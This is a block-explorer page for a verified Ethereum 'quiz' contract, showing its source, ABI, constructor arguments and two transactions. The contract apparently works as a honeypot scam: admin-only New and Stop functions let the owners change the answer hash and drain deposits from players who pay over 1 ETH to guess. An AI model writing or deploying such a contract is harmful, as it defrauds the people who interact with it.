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Contract

0xAe7789d5B7Dcb4CcB62A4673C38fC803ec4e7Cc9
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Stop96695792020-03-14 12:36:112198 days ago1584189371IN
0xAe7789d5...3ec4e7Cc9
0 ETH0.000060762
Start95908462020-03-02 9:28:142210 days ago1583141294IN
0xAe7789d5...3ec4e7Cc9
3 ETH0.000025571

Latest 1 internal transaction

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Parent Transaction Hash Method Block
From
To
-96695792020-03-14 12:36:112198 days ago1584189371
0xAe7789d5...3ec4e7Cc9
3 ETH
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Cross-Chain Transactions

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Contract Source Code Verified (Exact Match)

Contract Name:
quiz_blizz

Compiler Version
v0.4.25+commit.59dbf8f1

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2020-03-02
*/

contract quiz_blizz
{
    function Try(string _response) external payable 
    {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(_response) && msg.value > 1 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }

    string public question;

    bytes32 responseHash;

    mapping (bytes32=>bool) admin;

    function Start(string _question, string _response) public payable isAdmin{
        if(responseHash==0x0){
            responseHash = keccak256(_response);
            question = _question;
        }
    }

    function Stop() public payable isAdmin {
        msg.sender.transfer(this.balance);
    }

    function New(string _question, bytes32 _responseHash) public payable isAdmin {
        question = _question;
        responseHash = _responseHash;
    }

    constructor(bytes32[] admins) public{
        for(uint256 i=0; i< admins.length; i++){
            admin[admins[i]] = true;        
        }       
    }

    modifier isAdmin(){
        require(admin[keccak256(msg.sender)]);
        _;
    }

    function() public payable{}
}

Contract Security Audit

Contract ABI

API
[{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Try","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"Stop","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"Start","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"New","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"inputs":[{"name":"admins","type":"bytes32[]"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

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Deployed Bytecode

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Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000350d374c78049cd15920005dc8033b95ebd3cc70ba6c74856dead725bf82c0a56ac875aefd920eb697e291f9414a2103c99426ce8ef319508f7fb321d71e92e858f59c0eee0b6ed0c521c2609770180e5d7de0e1de3a415621ca6ba99c914400e

-----Decoded View---------------
Arg [0] : admins (bytes32[]): System.Byte[],System.Byte[],System.Byte[]

-----Encoded View---------------
5 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000020
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [2] : 50d374c78049cd15920005dc8033b95ebd3cc70ba6c74856dead725bf82c0a56
Arg [3] : ac875aefd920eb697e291f9414a2103c99426ce8ef319508f7fb321d71e92e85
Arg [4] : 8f59c0eee0b6ed0c521c2609770180e5d7de0e1de3a415621ca6ba99c914400e


Deployed Bytecode Sourcemap

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Swarm Source

bzzr://9ec3549f1916d84446180545990c94e4f2ea689a2fa618db2e285c60bd4cc35e

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